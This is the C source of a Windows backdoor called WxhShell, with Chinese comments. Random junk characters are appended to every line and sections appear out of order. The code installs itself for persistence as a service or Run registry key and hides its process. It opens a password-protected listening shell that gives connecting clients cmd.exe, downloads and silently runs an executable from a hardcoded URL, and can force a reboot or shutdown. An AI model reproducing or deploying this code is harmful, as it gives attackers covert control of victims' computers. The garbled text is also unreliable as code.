    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0dmw?i  
    else { BJ3<"D{.*4  
    closesocket(wsh); 1qAE)8ie  
    ExitThread(0); o9| OL  
    } Ump Hae  
    break;  yI|x 5f  
    } kw z6SObQ  
  // 获取shell \Cq4r4'  
  case 's': { d`V.i6u  
    CmdShell(wsh); >G!=lLyR  
    closesocket(wsh); + @fEw  
    ExitThread(0); 9C?SEbC  
    break; qY%|Uo  
  } s% R,]q  
  // 退出 'C7R* P  
  case 'x': { Q}\\0ajS)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O{ 3X`xAf  
    CloseIt(wsh); %k?/pRv$>  
    break; yy/'B:g  
    } Tz6I7S-w  
  // 离开 )skpf%g  
  case 'q': { (5Q<xJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yg5o!A  
    closesocket(wsh); yph@H!@  
    WSACleanup(); ul_E{v  
    exit(1); ?m 5"|f\  
    break; ddl]! ^IK  
        } Jo[ &y,  
  } hunlKIg  
  } 4s%zvRu  
Qh8pOUD0l}  
  // 提示信息 8*?H~q~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U:7w8$_  
} k t!@}QP  
  } ,ko#z}Z4r,  
8MDivr/@  
  return; D,p 2MBr  
} C%<Dq0j  
{I0!q"sF  
// shell模块句柄 jT0iJ?d,!  
int CmdShell(SOCKET sock)  y"Fu=  
{ WN|_IJR~  
STARTUPINFO si; R= Ig !s9  
ZeroMemory(&si,sizeof(si)); ,@ p4HN*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b(U5n"cdA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R(_WTs9x4  
PROCESS_INFORMATION ProcessInfo; v0&DD&mp  
char cmdline[]="cmd"; EGv]K|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qh}+b^Wi  
  return 0; Z?[ R;V1j  
} 3zfpFgD!  
!W&|kvT^  
// 自身启动模式 daA&!vnbH*  
int StartFromService(void) v#g:]T  
{ P^Og(F8;  
typedef struct e 5(|9*t  
{ Y/m-EL  
  DWORD ExitStatus; O['[_1n_u]  
  DWORD PebBaseAddress; *b{Hj'HaH  
  DWORD AffinityMask; ,f ?B((l  
  DWORD BasePriority; @$p6w  
  ULONG UniqueProcessId; TL"+Iv2]/$  
  ULONG InheritedFromUniqueProcessId; @pJ;L1sn  
}   PROCESS_BASIC_INFORMATION; I WT|dA >  
]{|l4e4P  
PROCNTQSIP NtQueryInformationProcess; 07(LLhk@d  
9.~ _swkv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -; d{}F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -`spu)  
!3c+}j-j  
  HANDLE             hProcess; ESIeZhXVH  
  PROCESS_BASIC_INFORMATION pbi; $*XTX?,'  
lt5Knz2G,Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y nTx)uW  
  if(NULL == hInst ) return 0; ?a, `{1m0\  
F2(^O Fh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); if1)AE-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y~t e!C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !q/Q2N(  
~S :8M<aB  
  if (!NtQueryInformationProcess) return 0; D 7thLqA  
$K\;sn; |:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I&1.}{G>F  
  if(!hProcess) return 0; IK4(r /  
RSM+si/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _-v$fDrz  
fpzEh}:H\  
  CloseHandle(hProcess); ^MhMYA  
vON7~KA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KeyHxU=?  
if(hProcess==NULL) return 0; YD~(l-?"  
p NQ@aJ  
HMODULE hMod; U~zy;M T  
char procName[255]; 5Ktll~+:#  
unsigned long cbNeeded; H\<PGC"_Y  
8_rd1:t5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z\1`(Pq7`  
us:v/WTQ  
  CloseHandle(hProcess); 4q@[k: '  
QS,_=< (  
if(strstr(procName,"services")) return 1; // 以服务启动 ~( rZ)  
0@&;JMh6<  
  return 0; // 注册表启动 ^@'zQa  
} 1iM(13jW  
hJ8B&u(  
// 主模块 8l?@ o  
int StartWxhshell(LPSTR lpCmdLine) >;xkiO>Y  
{ ${t$:0R,h  
  SOCKET wsl; Us>n`Lj@  
BOOL val=TRUE; r6:nYyF$)v  
  int port=0; 8rz ,MsFR  
  struct sockaddr_in door; JJ_KfnH  
#g Rns  
  if(wscfg.ws_autoins) Install(); G1,u{d-_  
[Fd[(  
port=atoi(lpCmdLine); U!lWP#m  
Qeq=4Nq  
if(port<=0) port=wscfg.ws_port; (b.Mtd  
4`"Q!T_'  
  WSADATA data; p|)j{nc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iA"H*0  
`|[UF^9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'GZ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DK%@ [D  
  door.sin_family = AF_INET; $fW8S8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _[hVGCSB  
  door.sin_port = htons(port); uKT\\1Jrq  
H"V)dEm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BQ!_i*14+  
closesocket(wsl); <$ nMqUu0  
return 1; pD6a+B\;k  
} <2w 41QZX  
lIatM@gU  
  if(listen(wsl,2) == INVALID_SOCKET) { \mwxV!!b$  
closesocket(wsl); &!8u4*K5j  
return 1; {1vlz>82  
} pA5X<)~   
  Wxhshell(wsl); yjChnp Cc  
  WSACleanup(); tlmfDQD  
3.04Toq!  
return 0; "3a_C,\  
e]l.m!,r  
} k/%n7 ;1  
I9 jzR~T  
// 以NT服务方式启动 g6q67m<h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5'"9)#Ve  
{ y]%Io]!d  
DWORD   status = 0; #_fL[j&  
  DWORD   specificError = 0xfffffff; gG46hO-M%x  
R<8!lQ4s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0hju@&Aa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qH*Fv:qnM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iD!]I$  
  serviceStatus.dwWin32ExitCode     = 0; nnnq6Z}  
  serviceStatus.dwServiceSpecificExitCode = 0; q6N6QI8/  
  serviceStatus.dwCheckPoint       = 0; Q-f?7*>  
  serviceStatus.dwWaitHint       = 0; \&X*-T[]j  
Y[alOJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6y)NH 8l7  
  if (hServiceStatusHandle==0) return; HY'-P&H5(  
Nc[u?-  
status = GetLastError(); {rZ )!  
  if (status!=NO_ERROR) {o.i\"x;  
{ ;PX>] r5U0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \@:mq]Y  
    serviceStatus.dwCheckPoint       = 0; 7-MkfWH2b6  
    serviceStatus.dwWaitHint       = 0; s4{>7`N2  
    serviceStatus.dwWin32ExitCode     = status; o51jw(wO  
    serviceStatus.dwServiceSpecificExitCode = specificError; $r= tOD4;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z\*jt B:  
    return; 6J%yo[A(w  
  } '"Y(2grP  
si3@R?WR6*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .uu[MzMIu  
  serviceStatus.dwCheckPoint       = 0; <Yy|.=6 D  
  serviceStatus.dwWaitHint       = 0; );5H<[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q96^rjY  
} $/;;}|hqi  
"~/O>.p  
// 处理NT服务事件,比如:启动、停止 jr=erVHK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WkR=(dss8  
{ xc6A&b>jI  
switch(fdwControl) [&a=vE  
{ ;*XH[>I  
case SERVICE_CONTROL_STOP: B1Cu?k);.  
  serviceStatus.dwWin32ExitCode = 0; l^%W/b>?b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =F"vL  
  serviceStatus.dwCheckPoint   = 0; ptEChoZ6  
  serviceStatus.dwWaitHint     = 0; "Z*u2_ H  
  { ORP-@-dap  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HH94?&  
  } t bEJyA  
  return; |(\T;~7'  
case SERVICE_CONTROL_PAUSE: -7:_Dy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %T'<vw0  
  break; r:Rk!z*  
case SERVICE_CONTROL_CONTINUE: DDwm;,eZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VgyY7INx9  
  break; ]:r6  
case SERVICE_CONTROL_INTERROGATE: ]KE"|}B  
  break; +1=]93gP  
}; }MXC0Z~si  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \RDS~u\d  
} Vmf !0-  
6@; P  
// 标准应用程序主函数 #1oyRD-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M"Q{lR  
{ C6{\^kG^j2  
<P1yA>=3`  
// 获取操作系统版本 7F@#6  
OsIsNt=GetOsVer(); }*9mNE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ne9S90HsB6  
pDV8B/{  
  // 从命令行安装 &Y3 r'"  
  if(strpbrk(lpCmdLine,"iI")) Install(); {IA3`y~  
ap|$8 G  
  // 下载执行文件 J_rb3  
if(wscfg.ws_downexe) { |Pj]sh[^Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s2*~n_B  
  WinExec(wscfg.ws_filenam,SW_HIDE); GZWU=TC2{2  
} " ';K$&,[  
vA&MJD{  
if(!OsIsNt) { 9qvKg`YSh  
// 如果时win9x,隐藏进程并且设置为注册表启动 tqXr6+!Q  
HideProc(); hxe X6  
StartWxhshell(lpCmdLine); *9O@DF&*6  
} $~5ax8u&!#  
else eNc>^:&y*  
  if(StartFromService()) ) o`ep{<t  
  // 以服务方式启动 VtnVl`/]  
  StartServiceCtrlDispatcher(DispatchTable); 33z^Q`MTC  
else &.1qixXIr  
  // 普通方式启动 Jy?; <  
  StartWxhshell(lpCmdLine); My<.^~  
13K|=6si  
return 0; n5>OZ3 E@  
} 6%L#FSI  
_{&bmE  
WiiAIv&  
92XG|CWX  
=========================================== B|SE |  
Cm%|hk>fQ  
n4InZ!)  
tg6iHFa  
"el}9OitC  
r&3EM[*Iw  
" fR>"d<;T  
MnTJFo"  
#include <stdio.h> ex6 QHUQ  
#include <string.h> F4DJML-(  
#include <windows.h> #Oi{7~  
#include <winsock2.h> D=@bPB>  
#include <winsvc.h> sZPyEIXie  
#include <urlmon.h> S\L^ZH?[2  
zmhL[1qj  
#pragma comment (lib, "Ws2_32.lib") [P*zm8b  
#pragma comment (lib, "urlmon.lib") &lnM 1W  
oLIgj,k{*  
#define MAX_USER   100 // 最大客户端连接数 ^C'{# p"  
#define BUF_SOCK   200 // sock buffer i5cK5MaD  
#define KEY_BUFF   255 // 输入 buffer suHi sc*  
# 1 1<=3Yj  
#define REBOOT     0   // 重启 L<k(stx~  
#define SHUTDOWN   1   // 关机 EGVS8YP>h  
>u+%H vzc  
#define DEF_PORT   5000 // 监听端口 c2Wp 8l  
tUi@'%>=5  
#define REG_LEN     16   // 注册表键长度 -% \LW1  
#define SVC_LEN     80   // NT服务名长度 d <RJH  
m:6*4_!  
// 从dll定义API ,H>'1~q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UM2yv6:/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wvRwb   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N\anjG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2Mu@P8O&  
'x6rU"e$J  
// wxhshell配置信息 tMH 2  
struct WSCFG { *Hz]<b?  
  int ws_port;         // 监听端口  o .*t  
  char ws_passstr[REG_LEN]; // 口令 ;FJFr*PM  
  int ws_autoins;       // 安装标记, 1=yes 0=no rvuasr~  
  char ws_regname[REG_LEN]; // 注册表键名 {F;"m&3Lt  
  char ws_svcname[REG_LEN]; // 服务名 Irui{%T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$g} &P8;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f2u4*X E\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &"( zK"O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WO6R04+WV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E24j(>   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2!R+5^Iy  
$18?Q+?3  
}; nNf*Q r%Z  
vNju|=Lo  
// default Wxhshell configuration tz5\O}  
struct WSCFG wscfg={DEF_PORT, q07H{{h/B  
    "xuhuanlingzhe", Xk!wT2;  
    1, (/FG#D.  
    "Wxhshell", w I;sZJc  
    "Wxhshell", Hb/8X !=  
            "WxhShell Service", Rg^ps  
    "Wrsky Windows CmdShell Service", PS8^=  
    "Please Input Your Password: ", ICiGZ'k  
  1, sX-@ >%l  
  "http://www.wrsky.com/wxhshell.exe", Z/T( 4  
  "Wxhshell.exe" I^HwXp([  
    }; qeb}~FL"o  
vR&b2G7o  
// 消息定义模块 B<ue}t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +cM~|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %C rTO(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &*74 5,e  
char *msg_ws_ext="\n\rExit."; q0DRT4K  
char *msg_ws_end="\n\rQuit."; )7p(htCz5  
char *msg_ws_boot="\n\rReboot..."; z,bK.KFSs  
char *msg_ws_poff="\n\rShutdown..."; -{q'Tmst  
char *msg_ws_down="\n\rSave to "; K>C@oE[W  
m2P&DdN[  
char *msg_ws_err="\n\rErr!"; mT #A?C2  
char *msg_ws_ok="\n\rOK!"; Z*ag{N  
qzEv!?)a  
char ExeFile[MAX_PATH]; 9kB R/{  
int nUser = 0; TV#>x!5!d  
HANDLE handles[MAX_USER]; 3 NFo=Z8  
int OsIsNt; U#&+n-npO  
_90<*{bt.  
SERVICE_STATUS       serviceStatus; %'X~9Pvi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {pA&Q{ ^  
ioEjbqD<  
// 函数声明 ]s!id[j  
int Install(void); )+DDIq  
int Uninstall(void); pmOUl 8y4  
int DownloadFile(char *sURL, SOCKET wsh); mHV{9J  
int Boot(int flag); i"x V=.  
void HideProc(void); &H P g>  
int GetOsVer(void); KMK8jJ  
int Wxhshell(SOCKET wsl); *[m:4\  
void TalkWithClient(void *cs); b^&azUkMN  
int CmdShell(SOCKET sock); Pd-LDs+Ga  
int StartFromService(void); R7K`9 c1f6  
int StartWxhshell(LPSTR lpCmdLine); ,i Y:#E  
|rG)Q0H,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IsShAi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IUDH"~f  
GzBPI'C  
// 数据结构和表定义 ^G2M4+W|  
SERVICE_TABLE_ENTRY DispatchTable[] = <h;_:  
{ ,RM8D)m\  
{wscfg.ws_svcname, NTServiceMain}, k14<E /  
{NULL, NULL} u{h67N  
}; tC(MaI  
sp MYn&p  
// 自我安装 0kNKt(_  
int Install(void) Bs`{qmbC  
{ c~O Lr  
  char svExeFile[MAX_PATH]; lC`w}0 p  
  HKEY key; RwYFBc  
  strcpy(svExeFile,ExeFile); $(+xhn(O  
/zb/ am1#  
// 如果是win9x系统,修改注册表设为自启动 g4W/T  
if(!OsIsNt) { 9#m3<oSJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|<</v8i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KO~KaN  
  RegCloseKey(key); /H"fycZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z^z{, u;!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dvqg H  
  RegCloseKey(key); Yh!=mW!OY  
  return 0; MmfBFt*  
    } vd(S&&]o1  
  } c;Tp_e@  
} dQZdL4  
else { rMHh!)^#W  
('Qq"cn#  
// 如果是NT以上系统,安装为系统服务 \Vroz=IT:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  }( CYok  
if (schSCManager!=0) 4}k@p>5v'  
{ ZSW@,Ti  
  SC_HANDLE schService = CreateService pgiZA?r*<  
  ( E:dN)  
  schSCManager, U,Uy0s2r  
  wscfg.ws_svcname, LU+SuVm  
  wscfg.ws_svcdisp, ZS wuEX  
  SERVICE_ALL_ACCESS, q g=`=]j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dKCl#~LAI'  
  SERVICE_AUTO_START, 'W4B  
  SERVICE_ERROR_NORMAL, Y0krFhL'x0  
  svExeFile, TukhGgmF  
  NULL, M2p|&Z%  
  NULL, ib#rT{e  
  NULL, ~3M8"}X;L  
  NULL, 7)5G 1  
  NULL O ylUuYy~j  
  ); )^AZmUYZ  
  if (schService!=0) HcJ!(  
  { 2uN3:_w  
  CloseServiceHandle(schService); Z37Dv;&ZD  
  CloseServiceHandle(schSCManager); yP"}(!~m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); axph]o@ y@  
  strcat(svExeFile,wscfg.ws_svcname); G4*&9Wo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J$42*SY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E;{CoL  
  RegCloseKey(key); ]&"ii  
  return 0; n44 T4q  
    } `^[Tu 1  
  } u"V,/1++\  
  CloseServiceHandle(schSCManager); "_\"S  
} )Z1&`rv  
} `|>]P"9yp  
2ua!<^,  
return 1; 2t_g\Q  
} Zv!XNc!"$y  
l7jen=(Zb;  
// 自我卸载 NQ;X|$!zH  
int Uninstall(void) +aL  
{ PN?;\k)"  
  HKEY key; Qs za,09  
?!U.o1  
if(!OsIsNt) { aaCRZKr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , +J)`+pJx  
  RegDeleteValue(key,wscfg.ws_regname); IB| 6\uKn  
  RegCloseKey(key); 4gC(zJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gBh X=2%  
  RegDeleteValue(key,wscfg.ws_regname); yP# Y:s  
  RegCloseKey(key); 4)D~S4{E5  
  return 0; @(35I  
  } ]r 0j  
} keRLai7h  
} He'VqUw_  
else { |yO%w#  
M0xhcU_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1!G}*38;  
if (schSCManager!=0) qQ^CSn98J  
{ !;(Wm6~*ad  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rf|Nu3AJ  
  if (schService!=0) ^gx~{9`RR  
  { D C/X|f  
  if(DeleteService(schService)!=0) { ~mt{j7  
  CloseServiceHandle(schService); |[iO./ zP  
  CloseServiceHandle(schSCManager); 5o 5DG  
  return 0; aWJ BYw6{L  
  } >Rt:8uurAG  
  CloseServiceHandle(schService); dR.?Kv(,E  
  } Mz(?_7  
  CloseServiceHandle(schSCManager); Q &{C%j~N  
} 6>#8 ^{[  
} As>Og  
kP[fhOpn  
return 1; Y% \3N  
} DoFe:+_U3  
2;"vF9WMm  
// 从指定url下载文件 7L&,Na  
int DownloadFile(char *sURL, SOCKET wsh) +C7E]0!r  
{ DFQ`(1Q  
  HRESULT hr; kI!@J6  
char seps[]= "/"; [Z2[Iy  
char *token; ~A5NseWCK  
char *file; _;5zA"~c#@  
char myURL[MAX_PATH]; N".BC|r  
char myFILE[MAX_PATH]; )8g& lyT  
mMllen  
strcpy(myURL,sURL); * bYU=RS  
  token=strtok(myURL,seps); ~D}fy  
  while(token!=NULL) aWRi`poZT  
  { v&;JVai  
    file=token; E"p _!!1  
  token=strtok(NULL,seps); HLqN=vE6  
  } |-{e!&  
]U'zy+  
GetCurrentDirectory(MAX_PATH,myFILE); =|Qxv`S1  
strcat(myFILE, "\\"); &F :.V$  
strcat(myFILE, file); uwI"V|g%a&  
  send(wsh,myFILE,strlen(myFILE),0); Q.eD:@%iE  
send(wsh,"...",3,0); H'udxPF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zL}`7*d:v  
  if(hr==S_OK) (_FeX22+  
return 0; k=kkF"  
else &L?]w=*  
return 1; (-0d@eqw  
h(AL\9{=}  
} q {   
#W/Ch"Kv  
// 系统电源模块 +RM!j9Rq  
int Boot(int flag) 9eHqOmz  
{ .p=J_%K}0x  
  HANDLE hToken; &g90q   
  TOKEN_PRIVILEGES tkp; _i7yyt;h  
=&k[qqxg  
  if(OsIsNt) { G#`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /SM 7t_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jPz1W4pk  
    tkp.PrivilegeCount = 1; q'y< UyT6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G?LC!9MB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #+_=(J  
if(flag==REBOOT) { 4noy!h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >h~ik/|*  
  return 0; p>J@"?%^  
} o/a2n<4  
else { 7D>_<)%d=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pN9U1!|uam  
  return 0; & +k*+  
} V8WSJ=-&  
  } #b)`as?!1  
  else { guf&V}&  
if(flag==REBOOT) { Zw{?^6;cS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bFL2NH5  
  return 0; +3XaAk  
} -CFy   
else { 60ciI,_`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9* 3;v;F  
  return 0; +!ljq~%  
} nvwf!iU6  
} 6!itr"  
xj8z*fC;  
return 1; n!SHExBp  
} t~4Cf])  
sz/^Ie-~  
// win9x进程隐藏模块 9Qu(RbDqC  
void HideProc(void) EBL-+%J8  
{ _4nm h0q4  
`jOk6;Z[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]n"RPktx  
  if ( hKernel != NULL ) ;-"q;&1e  
  { OXKV6r6f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iWA?FBv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2)0J@r'  
    FreeLibrary(hKernel); w 2U302TZ  
  } ]2|fc5G'  
#rr!A pJ  
return; YjL'GmL<  
} 2,g4yXws5  
YIgHLM(  
// 获取操作系统版本 aqQ+A:g  
int GetOsVer(void) |dqESl,2  
{ [iO8R-N8d  
  OSVERSIONINFO winfo; l.g.O>1   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lEHXh2  
  GetVersionEx(&winfo); K*,,j\Q.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q}<QE:-&E  
  return 1; 'PFjZGaKR  
  else O(=9&PRi  
  return 0; $%31Gk[I  
} rMjb,2*rC7  
ir{ 4k  
// 客户端句柄模块 Oi^cs=}  
int Wxhshell(SOCKET wsl) Pn.DeoHme  
{ j[w=pF,o  
  SOCKET wsh; 0QfDgDX  
  struct sockaddr_in client; ;Sg.E 8  
  DWORD myID; x6!Q''f7  
^=5y;  
  while(nUser<MAX_USER) Qhc; Zl  
{ <~w3[i=  
  int nSize=sizeof(client); A! HJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M&faa7  
  if(wsh==INVALID_SOCKET) return 1; R'>@ja*  
.o C! ~'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %+|sbRBb  
if(handles[nUser]==0) ybFxz  
  closesocket(wsh); h. ftl2>  
else Z^4+ 88  
  nUser++; -+Yark  
  } (/]#G8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |%F4`gz8KP  
X?< L<:.  
  return 0; SVn@q|N  
} sb8bCEm- \  
,t wB" *  
// 关闭 socket ,5}w]6bCr  
void CloseIt(SOCKET wsh) X;)/<:mX  
{ F?H=2mzKbz  
closesocket(wsh); E7@Gpu,o  
nUser--; vZ srlHb  
ExitThread(0); );t+~YPS  
} @sg.0GR  
wJq$yqos{  
// 客户端请求句柄 GQA\JYw|oY  
void TalkWithClient(void *cs) x lqP%  
{ ;A7JX:*?y=  
Y(kf<Wo  
  SOCKET wsh=(SOCKET)cs; ?{`7W>G  
  char pwd[SVC_LEN]; a`f@&A`z  
  char cmd[KEY_BUFF]; <)(W7#Ks  
char chr[1]; &<uLr *+*  
int i,j; g<0K i^#  
vo*oCfm  
  while (nUser < MAX_USER) { AgSAjBP  
Y2.zT6i  
if(wscfg.ws_passstr) { &V <f;PF(I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GQ@mQ=i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ ya@9OA  
  //ZeroMemory(pwd,KEY_BUFF); rQ]JM  
      i=0; vGh>1U:  
  while(i<SVC_LEN) { g\.$4N  
~ *"iLf@,  
  // 设置超时 :0 n+RL*5  
  fd_set FdRead; j_<!y(W  
  struct timeval TimeOut; L;j++^p  
  FD_ZERO(&FdRead); Lkx~>U   
  FD_SET(wsh,&FdRead); WfG +_iP?  
  TimeOut.tv_sec=8; Fc\]*  
  TimeOut.tv_usec=0; {xov8 M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (Y7zaAG]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S-gO  
FibZT1-k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jTt9;?)  
  pwd=chr[0]; _]4 p51r0  
  if(chr[0]==0xd || chr[0]==0xa) { F5/,S   
  pwd=0; 0^o/c SF  
  break; /(5"c>  
  } ,z/aT6M?H  
  i++; u4SL:IH{D  
    } AzXLlQ  
t4v'X}7q]  
  // 如果是非法用户,关闭 socket oU\7%gQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?-mOAHW0q  
} 9.M'FCd~M  
ug2W{D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); breF,d$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%IyR  
&5b 3k[K"  
while(1) { B^P&+,\[}  
M;ADL|  
  ZeroMemory(cmd,KEY_BUFF); s[0`  
q: FhuOP  
      // 自动支持客户端 telnet标准   ~BJE~  
  j=0; Z*mbhod  
  while(j<KEY_BUFF) { R`a~8QVh&5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TK\3mrEI  
  cmd[j]=chr[0]; +c<iVc|  
  if(chr[0]==0xa || chr[0]==0xd) { ]&Y^  
  cmd[j]=0; F.$z7ee@  
  break; TMPk)N1Ka  
  } KU` *LB:  
  j++; ?=&S?p)-<  
    } Uz!3){E  
{P~rf&Ee  
  // 下载文件 IV. })8  
  if(strstr(cmd,"http://")) { 3_XLx{["'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1a{3k#}  
  if(DownloadFile(cmd,wsh)) Fk3(( n=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A<)n H=G&  
  else 8ex;g^e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PZ8,E{V  
  } !mUJ["#  
  else { <5z!0m-G  
r4 *H96l  
    switch(cmd[0]) { r]p3DQ  
  \Yr*x7!  
  // 帮助 VmPh''Z%-  
  case '?': { u)r/#fUZ  
